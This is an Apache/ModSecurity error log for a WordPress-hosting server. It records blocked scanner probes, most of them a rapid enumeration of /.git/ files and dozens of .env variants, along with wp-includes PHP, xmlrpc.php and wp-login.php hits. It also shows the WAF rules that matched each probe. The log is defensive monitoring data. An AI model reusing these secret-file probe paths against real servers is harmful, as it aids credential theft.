[Thu Mar 19 09:56:34.264391 2026] [:error] [pid 23884:tid 23958] [client 209.87.169.236:34231] [client 209.87.169.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "abtX0l6St-VCdOYnZMogLAAAAII"]
[Thu Mar 19 09:56:34.690739 2026] [:error] [pid 31447:tid 31460] [client 45.131.195.236:43163] [client 45.131.195.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "abtX0hmVNRDSLnGvghicigAAAgU"]
[Thu Mar 19 09:56:35.890907 2026] [:error] [pid 31447:tid 31469] [client 209.87.169.227:30189] [client 209.87.169.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "abtX0xmVNRDSLnGvghicpgAAAg4"]
[Thu Mar 19 09:58:42.542005 2026] [autoindex:error] [pid 23884:tid 23965] [client 209.87.169.252:52987] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:58:42.842388 2026] [autoindex:error] [pid 23884:tid 23978] [client 209.87.169.252:52987] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 09:58:43.622384 2026] [autoindex:error] [pid 23884:tid 23956] [client 209.87.169.252:52987] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 19 12:54:12.302038 2026] [:error] [pid 25135:tid 25155] [client 154.16.49.101:6124] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "abuBdKKtE0dzgMctjFXtSQAAA1I"]
[Thu Mar 19 12:54:12.842449 2026] [:error] [pid 23884:tid 23971] [client 154.16.49.101:6376] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBdF6St-VCdOYnZMo0FwAAAI8"]
[Thu Mar 19 12:54:13.334813 2026] [:error] [pid 31205:tid 31241] [client 154.16.49.101:6565] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed/"] [unique_id "abuBdVu5gZKGrGz5P1GnrQAAAVg"]
[Thu Mar 19 13:34:00.474243 2026] [:error] [pid 25135:tid 25151] [client 147.234.73.107:50534] [client 147.234.73.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.234.73.107, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abuKyKKtE0dzgMctjFX_mQAAA04"]
[Thu Mar 19 13:34:00.485724 2026] [proxy_fcgi:error] [pid 25135:tid 25151] [client 147.234.73.107:50534] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 13:34:45.565986 2026] [:error] [pid 23882:tid 23919] [client 103.26.57.19:26391] [client 103.26.57.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.26.57.19, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abuK9bWnClbtbN12M7-uywAAABE"]
[Thu Mar 19 13:34:45.577831 2026] [proxy_fcgi:error] [pid 23882:tid 23919] [client 103.26.57.19:26391] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 15:07:07.644879 2026] [:error] [pid 11110:tid 11116] [client 47.200.231.13:57441] [client 47.200.231.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.200.231.13, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abugmwSNPqGfikw7k8JUNQAAAAE"]
[Thu Mar 19 15:07:07.656963 2026] [proxy_fcgi:error] [pid 11110:tid 11116] [client 47.200.231.13:57441] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 15:07:15.957875 2026] [:error] [pid 11014:tid 11026] [client 178.229.134.125:51958] [client 178.229.134.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.229.134.125, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abugozBVizvrAl0DfCDTLAAAAEc"]
[Thu Mar 19 15:07:15.966430 2026] [proxy_fcgi:error] [pid 11014:tid 11026] [client 178.229.134.125:51958] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 17:42:42.929327 2026] [:error] [pid 11110:tid 11138] [client 217.216.37.51:56046] [client 217.216.37.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "abvFEgSNPqGfikw7k8KNwAAAABc"]
[Thu Mar 19 17:42:44.863406 2026] [:error] [pid 51091:tid 51135] [client 217.216.37.51:58392] [client 217.216.37.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "abvFFL7LZKhdJPD9CBuyswAAAVg"]
[Thu Mar 19 23:25:27.917815 2026] [:error] [pid 11015:tid 11060] [client 136.144.33.11:41897] [client 136.144.33.11] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.11, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "abwVZ_PcMwFQZAVfzLShNgAAAI4"]
[Thu Mar 19 23:25:27.929040 2026] [proxy_fcgi:error] [pid 11015:tid 11060] [client 136.144.33.11:41897] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 01:09:28.752200 2026] [:error] [pid 46125:tid 46215] [client 173.225.102.181:51923] [client 173.225.102.181] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abwtyGgN4lI6NHeckY5a0QAAAIM"]
[Fri Mar 20 01:10:29.987173 2026] [:error] [pid 11258:tid 11281] [client 41.62.40.202:54897] [client 41.62.40.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.62.40.202, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abwuBZPHb95f6xzHJOcM5wAAANU"]
[Fri Mar 20 01:10:29.997782 2026] [proxy_fcgi:error] [pid 11258:tid 11281] [client 41.62.40.202:54897] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 01:11:33.249764 2026] [:error] [pid 46264:tid 46300] [client 38.253.240.247:56266] [client 38.253.240.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.253.240.247, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abwuRYp3TruHFmWOt5HUyQAAABE"]
[Fri Mar 20 01:11:33.261022 2026] [proxy_fcgi:error] [pid 46264:tid 46300] [client 38.253.240.247:56266] AH01071: Got error 'Primary script unknown'
[Fri Mar 20 02:02:01.625786 2026] [:error] [pid 46126:tid 46244] [client 172.71.144.35:10326] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "abw6GaQ44YePbsZz3j7ZXgAAARE"]
[Fri Mar 20 02:02:01.655877 2026] [:error] [pid 46264:tid 46285] [client 172.71.144.34:13171] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/refs/heads/main"] [unique_id "abw6GYp3TruHFmWOt5Hz0AAAAAI"]
[Fri Mar 20 02:02:01.657462 2026] [:error] [pid 46126:tid 46220] [client 172.71.144.34:13173] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "abw6GaQ44YePbsZz3j7ZXwAAAQU"]
[Fri Mar 20 02:02:01.657876 2026] [:error] [pid 46264:tid 46296] [client 172.71.144.34:13181] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/logs/HEAD"] [unique_id "abw6GYp3TruHFmWOt5Hz0QAAAA0"]
[Fri Mar 20 02:02:01.659074 2026] [:error] [pid 46264:tid 46303] [client 172.71.144.34:13168] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/index"] [unique_id "abw6GYp3TruHFmWOt5Hz0gAAABQ"]
[Fri Mar 20 02:02:01.674365 2026] [:error] [pid 46126:tid 46212] [client 172.71.144.35:10327] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/refs/heads/master"] [unique_id "abw6GaQ44YePbsZz3j7ZYAAAAQE"]
[Fri Mar 20 02:02:02.647613 2026] [:error] [pid 46264:tid 46284] [client 172.71.144.20:13905] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "abw6Gop3TruHFmWOt5Hz1QAAAAE"]
[Fri Mar 20 02:02:02.660464 2026] [:error] [pid 46264:tid 46299] [client 172.71.144.20:13911] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "abw6Gop3TruHFmWOt5Hz1gAAABA"]
[Fri Mar 20 02:02:02.660684 2026] [:error] [pid 46264:tid 46294] [client 172.71.144.20:13909] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "abw6Gop3TruHFmWOt5Hz1wAAAAs"]
[Fri Mar 20 02:02:02.665733 2026] [:error] [pid 46124:tid 46180] [client 172.71.144.21:13011] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "abw6GkzMrlLOY6zyCjKIjQAAAEA"]
[Fri Mar 20 02:02:02.686999 2026] [:error] [pid 46124:tid 46190] [client 172.71.144.34:13189] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "abw6GkzMrlLOY6zyCjKIjgAAAEo"]
[Fri Mar 20 02:02:02.702394 2026] [:error] [pid 46124:tid 46204] [client 172.71.144.35:10328] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.test"] [unique_id "abw6GkzMrlLOY6zyCjKIjwAAAFg"]
[Fri Mar 20 02:02:03.655798 2026] [:error] [pid 46126:tid 46254] [client 172.71.144.20:13915] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "abw6G6Q44YePbsZz3j7ZZQAAARY"]
[Fri Mar 20 02:02:03.656378 2026] [:error] [pid 46126:tid 46224] [client 172.71.144.20:13920] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "abw6G6Q44YePbsZz3j7ZZgAAAQc"]
[Fri Mar 20 02:02:03.667611 2026] [:error] [pid 46126:tid 46257] [client 172.71.144.21:13013] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.staging"] [unique_id "abw6G6Q44YePbsZz3j7ZZwAAARg"]
[Fri Mar 20 02:02:03.670053 2026] [:error] [pid 46126:tid 46216] [client 172.71.144.20:13925] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "abw6G6Q44YePbsZz3j7ZaAAAAQM"]
[Fri Mar 20 02:02:03.721934 2026] [:error] [pid 46126:tid 46250] [client 172.71.144.34:13190] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "abw6G6Q44YePbsZz3j7ZagAAARQ"]
[Fri Mar 20 02:02:03.731835 2026] [:error] [pid 46126:tid 46236] [client 172.71.144.35:10331] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.tmp"] [unique_id "abw6G6Q44YePbsZz3j7ZawAAAQ0"]
[Fri Mar 20 02:02:04.669510 2026] [:error] [pid 11258:tid 11272] [client 172.71.144.20:13928] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "abw6HJPHb95f6xzHJOcqggAAAMw"]
[Fri Mar 20 02:02:04.672091 2026] [:error] [pid 46126:tid 46227] [client 172.71.144.34:13204] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.local"] [unique_id "abw6HKQ44YePbsZz3j7ZcwAAAQg"]
[Fri Mar 20 02:02:04.704449 2026] [:error] [pid 46126:tid 46242] [client 172.71.144.34:13197] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "abw6HKQ44YePbsZz3j7ZdAAAARA"]
[Fri Mar 20 02:02:04.705768 2026] [:error] [pid 11258:tid 11270] [client 172.71.144.34:13205] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development.local"] [unique_id "abw6HJPHb95f6xzHJOcqgwAAAMo"]
[Fri Mar 20 02:02:04.732813 2026] [:error] [pid 46124:tid 46195] [client 172.71.144.35:10333] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "abw6HEzMrlLOY6zyCjKIkQAAAE8"]
[Fri Mar 20 02:02:04.775413 2026] [:error] [pid 46126:tid 46224] [client 172.71.144.34:13213] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "abw6HKQ44YePbsZz3j7ZdgAAAQc"]
[Fri Mar 20 02:02:05.669659 2026] [:error] [pid 46126:tid 46246] [client 172.71.144.34:13214] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "abw6HaQ44YePbsZz3j7ZfAAAARI"]
[Fri Mar 20 02:02:05.679683 2026] [:error] [pid 46124:tid 46196] [client 172.71.144.20:13931] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/admin/.env"] [unique_id "abw6HUzMrlLOY6zyCjKIkwAAAFA"]
[Fri Mar 20 02:02:05.712289 2026] [:error] [pid 46126:tid 46256] [client 172.71.144.34:13220] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/public/.env"] [unique_id "abw6HaQ44YePbsZz3j7ZfgAAARc"]
[Fri Mar 20 02:02:05.733625 2026] [:error] [pid 46126:tid 46257] [client 172.71.144.34:13228] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/private/.env"] [unique_id "abw6HaQ44YePbsZz3j7ZfwAAARg"]
[Fri Mar 20 02:02:05.761796 2026] [:error] [pid 46125:tid 46215] [client 172.71.144.34:13218] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/core/.env"] [unique_id "abw6HWgN4lI6NHeckY5mpQAAAIM"]
[Fri Mar 20 02:02:06.703815 2026] [:error] [pid 46124:tid 46198] [client 172.71.144.20:13938] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.php"] [unique_id "abw6HkzMrlLOY6zyCjKIlQAAAFI"]
[Fri Mar 20 02:02:06.707311 2026] [:error] [pid 46126:tid 46238] [client 172.71.144.35:10340] [client 172.71.144.35] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env.local"] [unique_id "abw6HqQ44YePbsZz3j7ZggAAAQ4"]
[Fri Mar 20 02:02:06.734923 2026] [:error] [pid 46124:tid 46188] [client 172.71.144.21:13016] [client 172.71.144.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.json"] [unique_id "abw6HkzMrlLOY6zyCjKIlgAAAEg"]
[Fri Mar 20 02:02:06.776105 2026] [:error] [pid 46124:tid 46190] [client 172.71.144.20:13939] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_backup"] [unique_id "abw6HkzMrlLOY6zyCjKIlwAAAEo"]
[Fri Mar 20 02:02:06.819512 2026] [:error] [pid 46124:tid 46204] [client 172.71.144.20:13943] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env1"] [unique_id "abw6HkzMrlLOY6zyCjKImAAAAFg"]
[Fri Mar 20 02:02:07.401467 2026] [:error] [pid 46126:tid 46218] [client 172.71.144.34:13230] [client 172.71.144.34] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "abw6H6Q44YePbsZz3j7ZhQAAAQQ"]
[Fri Mar 20 02:02:07.731125 2026] [:error] [pid 11258:tid 11264] [client 172.71.144.20:13951] [client 172.71.144.20] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.envrc"] [unique_id "abw6H5PHb95f6xzHJOcqhwAAAMQ"]
